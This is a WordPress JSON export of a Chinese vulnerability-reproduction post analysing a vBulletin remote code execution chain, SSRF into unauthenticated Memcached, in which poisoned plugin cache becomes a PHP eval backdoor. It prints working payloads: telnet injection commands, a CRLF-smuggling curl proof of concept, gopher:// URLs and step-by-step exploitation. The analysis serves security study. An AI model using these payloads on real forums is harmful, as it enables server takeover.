{"id":383,"date":"2021-11-03T08:09:24","date_gmt":"2021-11-03T08:09:24","guid":{"rendered":"http:\/\/www.nokws.top\/?p=383"},"modified":"2021-11-19T09:13:17","modified_gmt":"2021-11-19T09:13:17","slug":"tiankengsanvbulletin-rce-0dayloudong","status":"publish","type":"post","link":"http:\/\/www.nokws.top\/index.php\/2021\/11\/03\/tiankengsanvbulletin-rce-0dayloudong\/","title":{"rendered":"\u6f0f\u6d1e\u590d\u73b0 vBulletin rce 0day\u6f0f\u6d1e"},"content":{"rendered":"\n<p><strong>\u4f5c\u8005\uff1aAmbulong(\u5b89\u6052\u5b89\u5168\u7814\u7a76\u9662)<\/strong><\/p>\n\n\n\n<h1 class=\"wp-block-heading\"><a><\/a>0x00 \u524d\u8a00<\/h1>\n\n\n\n<p>fd\u4e0a\u6709\u4eba\u516c\u5f00\u4e86<code>vBulletin<\/code>\u7684<a href=\"https:\/\/link.juejin.im\/?target=http%3A%2F%2Fseclists.org%2Ffulldisclosure%2F2015%2FAug%2F58\">0day POC<\/a>\uff0c\u4f46\u6ca1\u6709\u63d0\u4f9b\u6f0f\u6d1e\u5206\u6790\u8fc7\u7a0b\u3002&nbsp;<code>vBulletin<\/code>\u662f\u56fd\u5916\u9886\u5148\u7684\u8bba\u575b\u7a0b\u5e8f\uff0c\u56fd\u5185\u4e00\u822c\u79f0\u5176\u4e3a<code>VBB<\/code>\uff0c\u57fa\u4e8e<code>PHP+mySQL<\/code>\u5f00\u53d1.<code>vBulletin<\/code>\u662f\u5546\u4e1a\u8f6f\u4ef6\uff0c\u9700\u4ed8\u8d39\u4f7f\u7528\u3002<\/p>\n\n\n\n<p><code>vBulletin<\/code>\u5141\u8bb8\u901a\u8fc7URL\u8fdc\u7a0b\u4e0a\u4f20\u6587\u4ef6\uff0c\u4f46\u5bf9URL\u5e76\u6ca1\u6709\u4f5c\u4e25\u683c\u7684\u8fc7\u6ee4\uff0c\u5bfc\u81f4<code>SSRF<\/code>\u6f0f\u6d1e\u7684\u4ea7\u751f\u3002\u52a0\u4e0a\u8bb8\u591a<code>vBulleti<\/code>n\u7f51\u7ad9\u540c\u65f6\u5c06<code>vBulletin<\/code>\u7684<code>Memcached<\/code>\u4e0e<code>WEB\u670d\u52a1\u5668<\/code>\u5b89\u88c5\u5728\u4e00\u8d77\uff0c\u7ed3\u5408<code>SSRF<\/code>\u5c06\u5bfc\u81f4\u6f0f\u6d1e\u53d8\u4e3a\u547d\u4ee4\u6267\u884c\u3002<\/p>\n\n\n\n<h1 class=\"wp-block-heading\"><a><\/a>0x01 \u6f0f\u6d1e\u5206\u6790<\/h1>\n\n\n\n<p>\u9996\u5148\u8bb2\u4e0b<code>vBulletin<\/code>\u7684plugin\uff08<code>hook<\/code>\uff09\u6267\u884c\u65b9\u5f0f\uff0cvBulletin\u5c06plugin\u7684\u4fe1\u606f(\u5305\u62ec\u4ee3\u7801)\u5b58\u50a8\u5728\u6570\u636e\u5e93\uff0c\u7a0b\u5e8f\u8fd0\u884c\u65f6\u4e34\u65f6\u4ece\u6570\u636e\u5e93\u8bfb\u53d6\u4ee3\u7801\u6267\u884c\uff0c\u53ef\u4ee5\u7406\u89e3\u6210\u5c06<code>include 'pluginname.php'<\/code>\u53d8\u6210<code>eval(getCodeFromDB('pluginname'))<\/code>\u3002\u5728<code>Memcache<\/code>\u5f00\u542f\u7684\u60c5\u51b5\u4e0b\uff0c<code>vBulletin<\/code>\u4f1a\u5c06<code>plugin<\/code>\u7684\u4ee3\u7801\u7f13\u5b58\u5728<code>Memcached<\/code>\u91cc\u6765\u589e\u52a0\u8bfb\u53d6\u901f\u5ea6\u3002<\/p>\n\n\n\n<p>\u6211\u4eec\u90fd\u77e5\u9053\u8bbf\u95ee<code>Memcached<\/code>\u662f\u4e0d\u9700\u8981\u5bc6\u7801\u7684\uff0c\u8fd9\u6837\u4e00\u6765\u5982\u679c<code>Memcached<\/code>\u7684\u8bbf\u95ee\u7aef\u53e3\u66b4\u9732\u5728\u516c\u7f51\uff0c\u6211\u4eec\u5c31\u4fee\u6539<code>vBulletin<\/code>\u5728<code>Memcached<\/code>\u4e2d\u7684<code>plugin<\/code>\u4ee3\u7801\u4e3a\u6076\u610f\u4ee3\u7801\uff0c\u8fd9\u5bfc\u81f4\u7684\u540e\u679c\u5c06\u4e0d\u582a\u8bbe\u60f3\u3002<\/p>\n\n\n\n<p><code>vBulletin<\/code>\u5b98\u7f51\u4e0a\u7684\u5efa\u8bae\u662f<code>Memcached<\/code>\u4e0d\u8981\u548c<code>vBulletin<\/code>\u5b89\u88c5\u5728\u540c\u53f0\u670d\u52a1\u5668\uff0c\u4f46\u8bb8\u591a\u7ad9\u957f\u5bf9\u6b64\u8fd8\u662f\u89c6\u800c\u4e0d\u89c1\uff0c\u6216\u8005\u4ec5\u901a\u8fc7\u5c06\u9632\u706b\u5899\u8bbe\u7f6e\u5c06<code>Memcached<\/code>\u7aef\u53e3\u5bf9\u5916\u7981\u6b62\u8bbf\u95ee\u5c31\u4ee5\u4e3a\u89e3\u51b3\u4e86\u95ee\u9898\u3002<\/p>\n\n\n\n<p>\u4e0d\u5e78\u7684\u662f\uff0c<code>vBulletin<\/code>\u4e2d\u5b58\u5728<code>SSRF<\/code>\u6f0f\u6d1e\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u5c06\u5b58\u5728\u6f0f\u6d1e\u7684\u6587\u4ef6\u5f53\u4f5c\u4ee3\u7406\u6765\u5411\u670d\u52a1\u5668\u4e0a\u7684<code>Memcached<\/code>\u53d1\u8d77\u672c\u5730\u8bf7\u6c42\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><a><\/a>Memcached\u672a\u6388\u6743\u8bbf\u95ee<\/h3>\n\n\n\n<p>\u6211\u4eec\u9996\u5148\u770b\u4e0b<code>Memcached<\/code>\u7684\u672a\u6388\u6743\u8bbf\u95ee\u662f\u5982\u4f55\u5bfc\u81f4<code>vBulletin<\/code>\u547d\u4ee4\u6267\u884c\u7684\u3002<\/p>\n\n\n\n<p>\u901a\u8fc7\u5173\u952e\u5b57\u67e5\u627e\uff0c\u53d1\u73b0\u8bed\u53e5<code>vBulletinHook::set_pluginlist($vbulletin-&gt;pluginlist)<\/code>\uff0c\u627e\u5230<code>set_pluginlist<\/code>\u7684\u58f0\u660e\u5728\u6587\u4ef6<code>.\/includes\/class_hook.php<\/code>\u4e2d\uff0c\u6839\u636e\u6ce8\u91ca\u5185\u5bb9\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#!php\r\n\/\/ to call a hook:\r\n\/\/  require_once(DIR . '\/includes\/class_hook.php');\r\n\/\/  ($hook = vBulletinHook::fetch_hook('unique_hook_name')) ? eval($hook) : false;\r<\/code><\/pre>\n\n\n\n<p>\u5f97\u77e5\uff0c<code>plugin<\/code>\u7684\u8c03\u7528\u65b9\u5f0f\u4e3a<code>($hook = vBulletinHook::fetch_hook('unique_hook_name')) ? eval($hook) : false;<\/code>\uff0c\u529f\u80fd\u662f\u83b7\u53d6<code>plugin<\/code>\u7684\u4ee3\u7801\u5e76\u6267\u884c\u3002<\/p>\n\n\n\n<p>\u6211\u4eec\u9009\u7528\u51fa\u73b0\u9891\u7387\u8f83\u9ad8\u7684<code>global_start<\/code>\u7684\u4ee3\u7801\uff0c\u5bf9\u5e94\u7684\u8bed\u53e5\u662f<code>($hook = vBulletinHook::fetch_hook('global_start')) ? eval($hook) : false;<\/code>\uff0c\u8fd9\u53e5\u8bdd\u5728<code>.\/global.php<\/code>\u6587\u4ef6\u91cc\uff0c\u6240\u4ee5\u5305\u542b<code>.\/global.php<\/code>\u7684\u9875\u9762\u90fd\u5c06\u5305\u542b\u6211\u4eec\u7684\u6076\u610f\u4ee3\u7801\u3002<\/p>\n\n\n\n<p>\u63a5\u4e0b\u6765\u8bbf\u95ee<code>Memcached<\/code>\u670d\u52a1\u5668\u770b\u4e0b<code>pluginlist<\/code>\u9879\u7684\u6570\u636e<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ telnet 172.16.80.156 11211\r\nTrying 172.16.80.156...\r\nConnected to 172.16.80.156.\r\nEscape character is '^]'.\r\nget pluginlist\r\n...(\u5e8f\u5217\u5316\u540e\u7684\u6570\u7ec4)\r\nEND\r\nquit\r<\/code><\/pre>\n\n\n\n<p>\u83b7\u53d6<code>pluginlist<\/code>\u7684\u6570\u636e\u5c06\u8fd4\u56de\u5e8f\u5217\u5316\u540e\u7684<code>pluginlist<\/code>\u6570\u7ec4\u3002 \u76f8\u5173\u4ee3\u7801\u5728<code>.\/includes\/class_hook.php<\/code>\u7c7b\u51fd\u6570<code>build_datastore<\/code>\u4e2d\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#!php\r\n$plugins = $dbobject->query_read(\"\r\n    SELECT plugin.*,\r\n        IF(product.productid IS NULL, 0, 1) AS foundproduct,\r\n        IF(plugin.product = 'vbulletin', 1, product.active) AS productactive\r\n    FROM \" . TABLE_PREFIX . \"plugin AS plugin\r\n    LEFT JOIN \" . TABLE_PREFIX . \"product AS product ON(product.productid = plugin.product)\r\n    WHERE plugin.active = 1\r\n        AND plugin.\" . \"phpcode &lt;> ''\r\n    ORDER BY plugin.executionorder ASC\r\n\");\r\nwhile ($plugin = $dbobject->fetch_array($plugins))\r\n{\r\n    if ($plugin&#91;'foundproduct'] AND !$plugin&#91;'productactive'])\r\n    {\r\n        continue;\r\n    }\r\n    else if (!empty($adminlocations&#91;\"$plugin&#91;hookname]\"]))\r\n    {\r\n        $admincode&#91;\"$plugin&#91;hookname]\"] .= \"$plugin&#91;phpcode]\\r\\n\";\r\n    }\r\n    else\r\n    {\r\n        $code&#91;\"$plugin&#91;hookname]\"] .= \"$plugin&#91;phpcode]\\r\\n\";\r\n    }\r\n}\r\n$dbobject->free_result($plugins);\r\n \r\nbuild_datastore('pluginlist', serialize($code), 1);\r\nbuild_datastore('pluginlistadmin', serialize($admincode), 1);<\/code><\/pre>\n\n\n\n<p>\u901a\u8fc7\u4ee3\u7801\u53ef\u77e5<code>$code<\/code>\u6570\u7ec4\u7684\u683c\u5f0f\u4e3a<code>$code=array('hookname'=&gt;'phpcode')<\/code>; \u6211\u4eec\u8981\u4fee\u6539<code>Memcached<\/code>\u4e2d\u7684<code>pluginlist<\/code>\u4ee3\u7801\uff0c\u6211\u4eec\u4e5f\u9700\u8981\u5c06\u6211\u4eec\u7684\u4ee3\u7801\u653e\u5230<code>$code<\/code>\u6570\u7ec4\u5185\u5e8f\u5217\u5316\u540e\u518d\u5199\u5165<code>Memcached<\/code>\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#!php\n$code=array('global_start'=>&#91;email protected]($_REQUEST&#91;\\'eval\\']);');\necho serialize($code).\"\\n\".strlen(serialize($code));<\/code><\/pre>\n\n\n\n<p>\u8f93\u51fa\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>a:1:{s:12:\"global_start\";s:25:\"@eval($_REQUEST&#91;'eval']);\";} \/\/\u5e8f\u5217\u5316\u540e\u7684\u6570\u636e\r\n59 \/\/\u5b57\u7b26\u4e32\u957f\u5ea6\r<\/code><\/pre>\n\n\n\n<p>\u63a5\u4e0b\u6765\u5c31\u662f\u4fee\u6539<code>pluginlist<\/code>\u9879\u7684\u6570\u636e\u4e3a\u6211\u4eec\u7684<code>pluginlist<\/code>\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ telnet 172.16.80.156 11211\r\nTrying 172.16.80.156...\r\nConnected to 172.16.80.156.\r\nEscape character is '^]'.\r\nset pluginlist 0 120 59\r\na:1:{s:12:\"global_start\";s:25:\"@eval($_REQUEST&#91;'eval']);\";}\r\nSTORED\r\nquit\r<\/code><\/pre>\n\n\n\n<p>\u547d\u4ee4\u4fee\u6539\u4e86<code>global_start<\/code>\u7684\u4ee3\u7801\uff0c\u6240\u4ee5\u5305\u542b\u4e86<code>.\/global.php<\/code>\u7684\u9875\u9762\u90fd\u5c06\u542b\u6709\u6211\u4eec\u7684\u6076\u610f\u4ee3\u7801\u3002<\/p>\n\n\n\n<p>\u8fd9\u65f6\u8bbf\u95ee<code>http:\/\/172.16.80.156\/showthread.php?eval=phpinfo();<\/code>\u53d1\u73b0\u6211\u4eec\u7684\u4ee3\u7801\u5df2\u7ecf\u6267\u884c\u3002<\/p>\n\n\n\n<p>\u4f46\u662f\u5728\u5927\u591a\u6570\u60c5\u51b5\u4e0b\uff0c<code>Memcached<\/code>\u662f\u4e0d\u5141\u8bb8\u5916\u7f51\u8bbf\u95ee\uff0c\u8fd9\u65f6\u5c31\u9700\u8981\u7528\u5230\u4e0b\u9762\u7684<code>SSRF<\/code>\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><a><\/a>SSRF\uff08Server-side Request Forgery\uff0c\u670d\u52a1\u5668\u7aef\u8bf7\u6c42\u4f2a\u9020\uff09<\/h3>\n\n\n\n<p>SSRF(<code>Server-Side Request Forgery<\/code>:\u670d\u52a1\u5668\u7aef\u8bf7\u6c42\u4f2a\u9020) \u662f\u4e00\u79cd\u7531\u653b\u51fb\u8005\u6784\u9020\u5f62\u6210\u7531\u670d\u52a1\u7aef\u53d1\u8d77\u8bf7\u6c42\u7684\u4e00\u4e2a\u5b89\u5168\u6f0f\u6d1e\u3002\u4e00\u822c\u60c5\u51b5\u4e0b\uff0cSSRF\u653b\u51fb\u7684\u76ee\u6807\u662f\u4ece\u5916\u7f51\u65e0\u6cd5\u8bbf\u95ee\u7684\u5185\u90e8\u7cfb\u7edf\u3002<\/p>\n\n\n\n<p>via:http:\/\/wiki.wooyun.org\/web:ssrf<\/p>\n\n\n\n<p>(\u6ce8\uff1a\u6d4b\u8bd5\u524d\u5148\u5220\u9664\u4e0a\u4e00\u6b65\u7684<code>pluginlist<\/code>,&nbsp;<code>delete pluginlist<\/code>)&nbsp;<code>vBulletin<\/code>\u7684\u8fdc\u7a0b\u4e0a\u4f20\u529f\u80fd\u5728<code>vB_Upload_*<\/code>\u7c7b\u548c<code>vB_vURL<\/code>\u7c7b\u4e2d\u90fd\u6709\u4f7f\u7528\u5230\uff0c\u6211\u4eec\u4ee5<code>vB_Upload_Userpic<\/code>\u4e3a\u4f8b\u5206\u6790\u3002 \u5728\u6587\u4ef6<code>.\/includes\/class_upload.php<\/code>\u4e2d\u7c7b<code>vB_Upload_Userpic<\/code>-&gt;\u7c7b\u51fd\u6570<code>process_upload()<\/code>\u4e2d\u8c03\u7528\u4e86\u7c7b\u51fd\u6570<code>accept_upload()<\/code>\uff0c\u4e4b\u540e<code>accept_upload()<\/code>\u8c03\u7528\u4e86<code>fetch_remote_filesize()<\/code>\uff0c\u518d\u6765\u8c03\u7528\u4e86<code>vB_vURL<\/code>\u7c7b\uff0c\u6700\u540e\u5230<code>vB_vURL_cURL<\/code>\u7c7b\u4e2d\u7684<code>exec()<\/code>\u51fd\u6570\uff0c\u6574\u4e2a\u8fc7\u7a0b\u4e2d\u4f20\u5165\u7684<code>avatarurl<\/code>\u53d8\u91cf\u90fd\u672a\u4f5c\u4efb\u4f55\u8fc7\u6ee4\u3002<\/p>\n\n\n\n<p>\u62a5\u544a\u6587\u6863\u4e2d\u7684POC\uff1a<a href=\"https:\/\/link.juejin.im\/?target=http%3A%2F%2Fseclists.org%2Ffulldisclosure%2F2015%2FAug%2F58\">seclists.org\/fulldisclos\u2026<\/a><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ curl 'http:\/\/sandbox.example.com\/vb42\/profile.php?do=updateprofilepic' -H 'Cookie: bb_userid=2; \r\nbb_password=926944640049f505370a38250f22ae57' --data \r\n'do=updateprofilepic&amp;securitytoken=1384776835-db8ce45ef28d8e2fcc1796b012f0c9ca1cf49e38&amp;avatarurl=http:\/\/localhost:11211\/%0D%0Aset%20pluginlist%200%200%2096%0D%0Aa%3A1%3A%7Bs%3A12%3A%22global_start%22%3Bs%3A62%3A%22if%28isset%28%24_REQUEST%5B%27eval%27%5D%29%29%7Beval%28%24_REQUEST%5B%27eval%27%5D%29%3Bdie%28%29%3B%7D%0D%0A%22%3B%7D%0D%0Aquit%0D%0A.png'\r<\/code><\/pre>\n\n\n\n<p>\u6309\u62a5\u544a\u6765\u7406\u89e3\u7684\u8bdd\uff0c<code>Memcached<\/code>\u5c06\u6267\u884c\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>HEAD \/\r\nset pluginlist 0 0 96\r\na:1:{s:12:\"global_start\";s:62:\"if(isset($_REQUEST&#91;'eval'])){eval($_REQUEST&#91;'eval']);die();}\r\n\";}\r\nquit\r\n.png HTTP\/1.0\r\nHost: localhost\r\nUser-Agent: vBulletin via PHP\r\nConnection: close\r<\/code><\/pre>\n\n\n\n<p>\u4f46\u662f\u5728\u672c\u5730\u6d4b\u8bd5\u65f6\uff0c\u4e0a\u9762\u7684EXP\u5e76\u4e0d\u80fd\u4f7f\u7528\uff0c\u7ecf\u6293\u5305\u5206\u6790\uff0c\u5728\u6211\u4eec\u6d4b\u8bd5\u65f6\u94fe\u63a5\u4e2d\u7684%0D%0A\u5e76\u672a\u80fd\u8f6c\u6362\u6210\u6362\u884c\u7b26\u3002 \u6d4b\u8bd5\u4ee3\u7801\uff1a #!php $url = &#8216;http:\/\/172.16.80.158:11211\/%0D%0Aset pluginlist 0 120 53%0D%0Aa:1:{s:12:&#8221;global_start&#8221;;s:19:&#8221;eval($_REQUEST<a href=\"https:\/\/link.juejin.im\/?target=http%3A%2F%2Fseclists.org%2Ffulldisclosure%2F2015%2FAug%2F58\">1<\/a>);&#8221;;}%0D%0A1%0D%0A1%0D%0A1%0D%0Aquit&#8217;; $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_HEADER, false); $str = curl_exec($curl); curl_close($curl); var_dump($str);<\/p>\n\n\n\n<p>\u6293\u5305\u7ed3\u679c\uff1a<\/p>\n\n\n\n<p>\u6700\u540e\u591a\u6b21\u6d4b\u8bd5\u548c\u67e5\u9605\u53c2\u8003\u8d44\u6599\u53d1\u73b0\uff0c\u5728<code>gopher<\/code>\u534f\u8bae\u4e0b<code>EXP<\/code>\u53ef\u4ee5\u590d\u73b0\uff0c\u4f46\u662f<code>vB_Upload_Userpic<\/code>\u53ea\u5141\u8bb8<code>(http|ftp)s<\/code>\u5f00\u5934\u7684\u94fe\u63a5\u3002<\/p>\n\n\n\n<p>\u53c2\u8003\u8d44\u6599\uff1a&nbsp;<a href=\"https:\/\/link.juejin.im\/?target=https%3A%2F%2Fdocs.google.com%2Fdocument%2Fd%2F1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM%2Fedit%3Fpli%3D1\">docs.google.com\/document\/d\/\u2026<\/a><\/p>\n\n\n\n<p>\u6587\u4e2d\u7ed9\u51fa\u7684Exploit\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>gopher:\/\/localhost:11211\/1%0astats%0aquit\r\n \r\ndict:\/\/locahost:11211\/stats\r\n \r\nldap:\/\/localhost:11211\/%0astats%0aquit\r<\/code><\/pre>\n\n\n\n<p>\u7136\u800c\u5c06HTTP\u534f\u8bae\u6539\u4e3aGopher\u534f\u8bae<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#!php\r\n$url = 'gopher:\/\/172.16.80.158:11211\/%0D%0Aset pluginlist 0 120 53%0D%0Aa:1:{s:12:\"global_start\";s:19:\"eval($_REQUEST&#91;1]);\";}%0D%0A1%0D%0A1%0D%0A1%0D%0Aquit';\r<\/code><\/pre>\n\n\n\n<p>\u6293\u5305\u7ed3\u679c\uff1a<\/p>\n\n\n\n<p>\u53ef\u4ee5\u770b\u51fa\uff0c\u6b64\u65f6\u7684%0D%0A\u8f6c\u6362\u6210\u6362\u884c\u7b26\u4e86\u3002 \u63a5\u4e0b\u6765\uff0c\u6211\u4eec\u9700\u8981\u7684\u662f\u4e00\u4e2a\u80fd\u5e26\u5165<code>gopher:\/\/<\/code>\u7684<code>SSRF<\/code>\u70b9\uff0c\u7ecf\u8fc7\u641c\u7d22\u5bf9<code>vB_vURL<\/code>\u7684\u8c03\u7528\uff0c\u4f4d\u7f6e\u5728<code>.\/blog_post.php<\/code>\u7684<code>donotify<\/code>\u5185\uff0c\u51fd\u6570<code>send_ping_notification()<\/code>\u3002<\/p>\n\n\n\n<p>\u51fd\u6570<code>send_ping_notification()<\/code>\u7684\u58f0\u660e\u5728<code>.\/includes\/blog_functions_post.php<\/code>\uff0c\u51fd\u6570\u4e2d\u8c03\u7528\u7684<code>fetch_head_request()<\/code>\u8c03\u7528\u4e86<code>vB_vURL<\/code>\u7c7b\u6765\u53d1\u8d77\u8bf7\u6c42\uff0c\u6574\u4e2a\u8fc7\u7a0b\u4e2d$url\u53d8\u91cf\u672a\u4f5c\u8fc7\u6ee4\u3002 \u6211\u4eec\u5728\u524d\u7aef\u53ef\u52fe\u9009\u53d1\u8868\u535a\u5ba2\u4e2d\u7684\u9644\u52a0\u9009\u9879<code>\u901a\u77e5\u5728\u8fd9\u7bc7\u6587\u7ae0\u4e2d\u94fe\u63a5\u7684\u5176\u5b83\u535a\u5ba2<\/code>\uff0c\u6765\u8c03\u7528\u8fd9\u4e2a\u53d8\u91cf\u3002<\/p>\n\n\n\n<h1 class=\"wp-block-heading\"><a><\/a>0x02 \u6f0f\u6d1e\u5229\u7528<\/h1>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<ol class=\"wp-block-list\"><li>\u6ce8\u518c\u7528\u6237\u5e76\u767b\u5f55\u3002<\/li><li>\u53d1\u8868\u65b0\u6587\u7ae0\uff08<code>http:\/\/*host*\/blog_post.php?do=newblog<\/code>\uff09\u3002<\/li><li>\u52a0\u5165\u8d85\u94fe\u63a5<code>gopher:\/\/localhost:11211\/%0D%0Aset pluginlist 0 120 53%0D%0Aa:1:{s:12:\"global_start\";s:19:\"eval($_REQUEST[1]);\";}%0D%0A1%0D%0A1%0D%0A1%0D%0Aquit<\/code>\u3002<\/li><\/ol>\n\n\n\n<ol class=\"wp-block-list\"><li>\u5728<code>\u9644\u52a0\u9009\u9879<\/code>\u4e2d\u52fe\u9009<code>\u901a\u77e5\u5728\u8fd9\u7bc7\u6587\u7ae0\u4e2d\u94fe\u63a5\u7684\u5176\u5b83\u535a\u5ba2<\/code>\u3002<\/li><\/ol>\n\n\n\n<ol class=\"wp-block-list\"><li>\u53d1\u8868->\u9009\u62e9\u94fe\u63a5->\u63d0\u4ea4\u3002<\/li><li>\u8bbf\u95ee<code>http:\/\/*host*\/showthread.php?1=phpinfo();<\/code>\u67e5\u770b\u662f\u5426\u6267\u884c\u6210\u529f\u3002<\/li><\/ol>\n\n\n\n<p>\uff08\u4ee5\u4e0a\u8f6c\u81ea\u5b89\u6052\u5b89\u5168\u7814\u7a76\u9662\uff09<\/p>\n\n\n\n<p>\u4e2a\u4eba\u7406\u89e3\uff1a<\/p>\n\n\n\n<p>       \u8fd9\u4e2a\u6f0f\u6d1e\u8981\u5148\u627e\u5230 \u4e00\u4e2assrf\uff0c\u7136\u540e\u5229\u7528ssrf \u8bbf\u95ee\u5185\u7f51\uff0c\u4fee\u6539 Memcached\u4e2d\u7684 vBulletin\u7f13\u5b58\u7684\u6570\u636e\uff0c\u5728vBulletin\u81ea\u5df1\u8c03\u7528\u7684\u65f6\u5019\u5c31\u4f1a\u6267\u884c\u653b\u51fb\u8005\u4fee\u6539\u7684\u4ee3\u7801\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u4f5c\u8005\uff1aAmbulong(\u5b89\u6052\u5b89\u5168\u7814\u7a76\u9662) 0x00 \u524d\u8a00 fd\u4e0a\u6709\u4eba\u516c\u5f00\u4e86vBulletin\u76840day POC [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[],"class_list":["post-383","post","type-post","status-publish","format-standard","hentry","category-loudongzongjie"],"jetpack_featured_media_url":"","_links":{"self":[{"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/posts\/383","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/comments?post=383"}],"version-history":[{"count":2,"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/posts\/383\/revisions"}],"predecessor-version":[{"id":395,"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/posts\/383\/revisions\/395"}],"wp:attachment":[{"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/media?parent=383"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/categories?post=383"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/tags?post=383"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}